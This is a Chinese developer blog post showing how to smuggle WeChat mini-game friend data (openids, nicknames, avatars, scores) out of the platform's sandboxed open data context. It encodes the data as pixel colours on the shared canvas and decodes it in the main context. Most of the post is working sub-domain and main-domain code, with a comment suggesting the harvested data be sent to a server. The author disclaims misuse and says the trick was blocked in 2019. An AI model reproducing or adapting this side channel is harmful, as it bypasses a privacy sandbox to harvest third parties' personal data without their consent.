好友是是很多遊戲都有的功能,原因在于好友玩法可以提升使用者間的互動性,增加産品和使用者的黏性、對提升留存率有重要幫助。很多遊戲策劃和産品經理都喜歡在遊戲中加入這個設定,在騰訊開發平台、空間玩吧平台也都提供擷取QQ好友關系鍊的API,供開發者開發更豐富更好玩的遊戲産品。
但是,微信平台基于使用者資料隐私性的考慮,并不提供直接的api來擷取好友關系鍊。而是設計了一套開放資料域的api機制來供開發者使用,遊戲“主域”内不能直接擷取好友排行榜資料,而是借助“子域”來呈現排行榜,“子域”無法和伺服器通信,也無法傳遞資料給“主域”。關于這部分基礎知識請見微信關系資料鍊來了解。
本文将要分享的是通過技術技巧教你“偷偷”的擷取微信小遊戲好友關系鍊資料
核心知識:
把”子域“中擷取到的好友關系鍊字元串資料作為一個個像素色值繪制在在”子域“畫布上,然後在”主域“内逐個像素讀取再轉化為字元串資料。
子域核心代碼如下:
//上報初始資料,這樣别的好友請求好友資料的時候就能看到你了
if(wx.setUserCloudStorage){
var value2 = Date.parse(new Date()).toString() + '_' + parseInt(Math.random() * 10000);
wx.setUserCloudStorage({ KVDataList: [{ key: "localid", value: value2 }] });
}
function beginCall(data) {
let ctx = sharedCanvas.getContext("2d");
ctx.clearRect(0, 0, sharedCanvas.width, sharedCanvas.height);
var _dataStr = JSON.stringify(data)+":";
for (let i = 0; i < _dataStr.length; i++) {
let num = _dataStr.charCodeAt(i);
let str = ("00000000" + num.toString(2)).slice(-9);
for (let k = 0; k < 3; k++) {
var r = Number(str.charAt(k * 3)) * 255;
var g = Number(str.charAt(k * 3 + 1)) * 255;
var b = Number(str.charAt(k * 3 + 2)) * 255;
let i1 = i * 3 + k;
var x = (i1 % sharedCanvas.width);
var y = Math.floor(i1 / sharedCanvas.width);
ctx.fillStyle = "rgb(" + r + "," + g + "," + b + ")";
ctx.fillRect(x, y, 1, 1);
}
}
}
function escapeCode(obj,){
if ("KVDataList" in obj){
for (let i = 0; i < obj.KVDataList.length;i++) {
obj[obj.KVDataList[i].key] = obj.KVDataList[i].value;
}
delete obj.KVDataList;
}
//這裡可以根據業務加邏輯,處理字段,減少資料量,加快資料處理速度
if("nickname" in obj) {
obj.nick = encodeURIComponent(obj.nickname);
delete obj.nickname;
}
}
function drawSaveFun(mainData, fun){
wx.getFriendCloudStorage({
keyList: mainData.keys,
success: (res2) => {
let list1 = res2.data;
let openids = mainData.openids || {};
for(let i = 0;i<list1.length;i++){
let have = openids[ list1[i].openid ];
escapeCode(list1[i]);
}
beginCall({isOK:true, data: list1});
},
fail: (res) => {
beginCall({isOK:false, fail: res});
}
})
}
主域核心代碼如下:
class WXDecodeOpenData
{
public static init(){
if(DEBUG) return;
if(!window["wx"] || !window["wx"].getOpenDataContext) return;
let time = egret.getTimer();
WXDecodeOpenData.drawSaveData((resdata:any)=>{
// console.log("resdata", resdata);
let myObj;
var kk = "score";
let totalGroup = [];
for(var i = 0; i < resdata.length; i++){
//{"openid":"o9FSW5NhY05kUwqWNdOumWW3cNlk","nick":"eternity","avatarUrl":"https://wx.qlogo.cn/","score":"49904"}
var item = resdata[i];
// item.type = kk;
item.level = item.orderindex = Number(item[kk]);
totalGroup.push(item);
}
ArrayUtil.sortByField(totalGroup, ["level","orderindex"], [1,0]);//對資料資料排序
for (let i = 0; i < totalGroup.length; i++) {
totalGroup[i].index = (i+1);
}
//此處可以添加其他邏輯,比如儲存到服務端,用戶端各種業務
}, (errdata)=>{
//資料讀取異常,做好相容
});
}
private static isRuning = false;
private static drawSaveData(success:(any)=>void,fail:(any)=>void):egret.Bitmap
{
if(this.isRuning) return null;
this.isRuning = true;
platform.openDataContext.postMessage({isDisplay:true, command:"drawSaveData", keys:["score"]});
let bb = <egret.Bitmap>platform.openDataContext.createDisplayObject();
let bmp = new egret.Bitmap(bb.texture);
let tex = new egret.RenderTexture();
egret.Tween.get(this,{loop:true}).wait(100).call(this.test,this,[bmp,tex,success,fail,true]);
return bmp;
}
private static test(bmp:egret.Bitmap,tex:egret.RenderTexture,success:(any)=>void,fail:(any)=>void,isfriend:boolean)
{
tex.drawToTexture(bmp,new egret.Rectangle(0,0,3,3));
let a = "";
for(var k = 0;k<3;k++)
{
let arr = tex.getPixel32(k,2);
for(let j = 0;j<3;j++) a += Number(arr[j] > 127);
}
let str = String.fromCharCode(parseInt(a,2));
if(str == "{")
{
tex.drawToTexture(bmp,new egret.Rectangle(0,0,bmp.width,bmp.height));
let i = 0;
let codeStr = "";
let _s = "";
while(true)
{
let a = "";
for(var k = 0;k<3;k++)
{
let i1 = i*3+k;
let x = (i1%bmp.width);
let y = Math.floor(i1/bmp.width);
let arr = tex.getPixel32(x,tex.textureHeight-y-1);
for(let j = 0;j<3;j++) a += Number(arr[j] > 127);
}
let s = String.fromCharCode(parseInt(a,2));
if(s == ":" && _s == "}") break;
codeStr += s;
_s = s;
i++;
}
tex.dispose();
egret.Tween.removeTweens(this);
platform.openDataContext.postMessage({type:"clear"});
this.isRuning = false;
let obj = JSON.parse(codeStr); //{isOK:true, data:[]}
if(obj.isOK)
{
if(isfriend && "data" in obj)
{
obj.data.forEach(element => {
if(element.nick) element.nick = decodeURIComponent(element.nick);
});
}
delete obj.isOK;
if(success) success(obj.data);
}else
{
delete obj.isOK;
if(fail) fail(obj);
}
}
}
}
特别說明:本文隻是做技術學習,并不是鼓勵開發者繞開微信小遊戲規範,作者十分反對各種平台和開發者利用和傳播使用者的隐私資料。
補充說明:微信在2019年3月份釋出的遊戲基礎庫已經針對開放資料域擷取像素的方法進行了屏蔽,本文章介紹的方法已經失效。